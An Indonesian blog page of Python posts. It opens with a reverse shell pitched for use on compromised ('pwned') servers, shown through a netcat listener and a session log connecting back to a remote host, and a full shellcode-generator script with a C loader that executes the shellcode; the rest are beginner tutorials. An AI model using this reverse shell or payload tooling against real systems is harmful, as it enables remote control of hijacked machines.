reverse shell written in python

sedikit hasil coding dengan cara seksama dan dalam tempo yang sesingkat2nya :) , reverse shell, bisa digunakan dan dikembangkan sebagai alternatif jika bertemu pwned server yang didisable untuk php shell :)

untuk penggunaanya disiapkan dulu listening port nya, misal:

nc -l 12345

contoh penggunaan:
di box kita:

r3dsh4d0w@deepmind:~$ nc -l 12345

di box yang mengeksekusi reverseshell:

akfsec@Indonesia:~/program/python$ id
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)
akfsec@Indonesia:~/program/python$ ./reverseshell.py 192.168.1.2 12345

hasil di box listen:

r3dsh4d0w@deepmind:~$ nc -l 12345
w00t!!, succesfully connected
please wait while getting the prompt
Enjoy dude...
id    
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)

untuk sourcenya:
Read more of this post

shellcode maker written in python

hello world… iseng iseng cari referensi tentang shellcoding, eh.. akhirnya mengisengkan diri untuk membuat program untuk otomatisasi membuat shellcode dari source.asm, berikut sourcecodenya, silahkan dikembangkan…

#!/usr/bin/env python
import os, sys, time
os.system("clear")
def banner():
    print "###################################################################"
    print "___________________________________________________________________"
    print "________/__\_|_|__/__//_______/__________________|__|______________"
    print "_______/___ \|_|_/__//__/_____/_____/_/_____\____|__|_/_____\______"
    print "______/__/\__|_|/__//______\_/__/____/__/\___\/_____|/______/______"
    print "_____/__/__\_|___<__\__\_____\__\____\__\/___/__/___|__<___________"
    print "____(________|_|\__\_\__\_____\_____\_\_____/\_______\_____\_______"
    print "_____________\_|_\__\_\__\_________________________________________"
    print "______________\/__\__\_________shellcode generator v.1_____________"
    print "_______________________________coder: -AKF-________________________"
    print "_______________________________requirements: linux, nasm, gcc______"
    print "_______________________________target : intel-32___________________"
    print "___________________________________________________________________"
    print "###################################################################"

if len(sys.argv) <= 1:
    banner()
    print "[+]usage: ./" + sys.argv[0] + " source.asm"   
    print "[+]ex: ./" + sys.argv[0] + " testshell.asm"
    sys.exit(1)

banner()
akf = sys.argv[1]
egg = akf[:-4]
greenblack="nasm -f elf " + akf
dop="ld -o egg"+ " " + egg + ".o"
print "[+]please wait while processing your program"
os.system(greenblack)
time.sleep(3)
print "[+]almost D0ne..."
os.system(dop)
time.sleep(3)	
print "[+]D0ne!!, the shellcode is:"
print ""
print "<-------save the code below in .c-------->"
print ""
print "//shellcode generator v.1"
print "//coder: -AKF- a.k.a redshadow"
print "//underattacks security research"
print "//akfcode"
print "#include <stdio.h>"
print "char shellcode[]="
minal = "egg"
lakov = "objdump -d ./"
qolbu = "|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/\"/'|sed 's/$/\"/g'"
likov = lakov+minal+qolbu
os.system(likov)
print ";"
print "int main(void) {"
print "((void (*)(void))shellcode)();"
print "return 0;"
print "}"
print ""
print "<----------------- EOF ------------------->"
print ""
print "[+]thanks for using!!!"
brengos = "rm egg"
masje = "rm " + egg + ".o"
os.system(brengos)
os.system(masje)

dan berikut contoh penggunaanya:
Read more of this post

baner sederhana

contoh:

#!/usr/bin/env python
print "###################################################################"
print "___________________________________________________________________"
print "________/__\_|_|__/__//_______/__________________|__|______________"
print "_______/___ \|_|_/__//__/_____/_____/_/_____\____|__|_/_____\______"
print "______/__/\__|_|/__//______\_/__/____/__/\___\/_____|/______/______"
print "_____/__/__\_|___<__\__\_____\__\____\__\/___/__/___|__<___________"
print "____(________|_|\__\_\__\_____\_____\_\_____/\_______\_____\_______"
print "_____________\_|_\__\_\__\_________________________________________"
print "______________\/__\__\_____________________________________________"
print "___________________________________________________________________"
print "###################################################################"

deret fibonacci di python

yo yo yo…
setelah kemarin memposting tentang deret fibonacci dan beberapa postingan tentang dasar pemrograman python, eh.. iseng deh kepingin bikin program sederhana untuk menampilkan deret fibonacci, kekeekeke..
alhasil jadi deh.. berikut source codenya, mungkin bisa dikembangkan lebih lanjut:

#!/usr/bin/env python
import os, sys
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
  hapus = "clear"
if sys.platform == 'win32':
  hapus = "cls"
print "deret fibonacci in python"
jumlah = raw_input("masukkan jumlah anggota deret yang diinginkan: ")
a=int(jumlah)    
if a == 0:
   print "anda salah memasukkan angka!!"
elif a == 1:
   print "-----------deret fibonaccinya adalah-------------------"
   print "[0]"
   print "-------------------------------------------------------"
elif a == 2:
   print "-----------deret fibonaccinya adalah-------------------"
   print "[0,1]"
   print "-------------------------------------------------------"
else:
   fibonacci = [0,1]
   #x = int(a)
   q = (a - 1)
for i in range(1,q):
   x = int(fibonacci[-1])
   y = int(fibonacci[-2])
   z = x+y
   fibonacci.append(z)
   os.system(hapus)
   print "-----------deret fibonaccinya adalah-------------------"
   print fibonacci
   print "-------------------------------------------------------"


semoga bermanfaat

-AKF-

percabangan di python(1)

percabangan dalam bahasa pemrograman sama halnya dengan bagaimana mengambil keputusan untuk melakukan sesuatu, ketika menghadapi suatu kondisi tertentu, atau menghadapi suatu pilihan, di dalam python penulisan untuk percabangan adalah dengan menggunakan statemen if dengan susunan sebagai berikut

1.jenis pertama:

if kondisi:
   baris perintah

2.jenis kedua

if kondisi pertama:
   perintah
elif kondisi kedua:
   perintah
elif kondisi n:
   perintah

3.jenis ketiga:

if kondisi:
   perintah
elif kondisi kedua:
   perintah
elif kondisi ke n:
   perintah
else:
   perintah jka tidak ditemukan kondisi yang cocok

berikut adalah contoh program sederhana untuk lebih membantu:

#!/usr/bin/env python
angka=raw_input("masukkan sebuah angka positif: ")
bilangan=int(angka)
if bilangan <= 10:
	print "angka kurang dari sepuluh"
elif bilangan >=10 and bilangan <=50:
	print "bilangan lebih dari sepuluh tetapi kurang dari lima puluh"
else:
	print "bilangan lebih dari lima puluh"

baiklah, semoga bermanfaat

-AKF-

list di python(1)

ini adalah tentang list di python, dimana list itu daftar beberapa variable dengan beragam type yang dituliskan seperti berikut:

daftar=['d','a','f','t','a','r',1,2,3,3.09]

dan untuk indexingnya bukan dimulai dari angka 1 melainkan dimulai dari angka 0
jadi semisal
daftar[0] <-- akan bernilai d
daftar[1] <-- akan bernilai a
...
dan seterusnya

beberapa operasi yang terdapat untuk mengoperasikan list ini antara lain adalah

append(x) = untuk menambahkan anggota list
len(nama_list) = untuk menampilkan jumlah anggota list
nama_list(x) = untuk menampilkan anggota list untuk index ke-x
del nama_list(x) = menghapus anggota list index ke-x
nama_list.insert(x,y) = menyisipkan ke dalam list index ke-x dengan nilai y
nama_list.remove(x) = menghapus anggota list yang bernilai x
nama_list.pop(i) = menghapus anggota list dengan index ke-i
nama_list.count(x) = menghitung jumlah anggota list yang bernilai x
dan masih banyak lagi...

Read more of this post

user input di python(1)

saya awali dengan senyum :)

kali ini adalah tentang user input sederhana di python, pertama tama marilah kita sedikit mengulik tentang penulisan program python di lingkungan linux, di lingkungan linux ini pada awal program akan dituliskan sebaris code yang menunjukkan tempat interpreter python berada yaitu dengan:

#!/usr/bin/env python
source code program disini

dan ini adalah contoh user input sederhana di python

nama=raw_input("tuliskan nama anda:")

disini hasil masukkan dari user akan dimasukkan sebagai nilai dari variabel ‘nama’

baiklah ini adalah sebuah source code sederhana, semoga membantu

#!/usr/bin/env python
#input.py
nama = raw_input("tuliskan nama anda: ")
hp = raw_input("masukkan nomer hape anda: ")
print "--------------------------------------------"
print "nama: " + nama
print "nomer hp: " + hp
print "--------------------------------------------"

dan ini adalah hasil eksekusi program

akfsec@Indonesia:~/program/python$ python input.py
tuliskan nama anda: agung
masukkan nomer hape anda: 08123456789
--------------------------------------------
nama: agung
nomer hp: 08123456789
--------------------------------------------

demikian dulu semoga program sederhana ini cukup membantu

-AKF-

python dasar

python adalah sebuah binatang berbentuk panjang tanpa kaki, yang sering disebut sebagai ular dalam beberapa cerita anak – anak :) ),

tapi ini lain cerita, disini python yang dimaksud adalah sebuah bahasa pemrograman interpreter yang lumayan mudah dimengerti, dan powerfull, yang bisa dijalankan di kalangan unix, linux, maupun windows. oke kita mulai saja dengan yang sangat dasar, karena saya juga seorang pemula dalam bidang komputer, sebagai catatan saya menggunakan ubuntu 10.04 dikomputer saya:

langsung saja dari terminal ketikkan

$python

lalu ngikut saja seperti dibawah ini
Read more of this post

Follow

Get every new post delivered to your Inbox.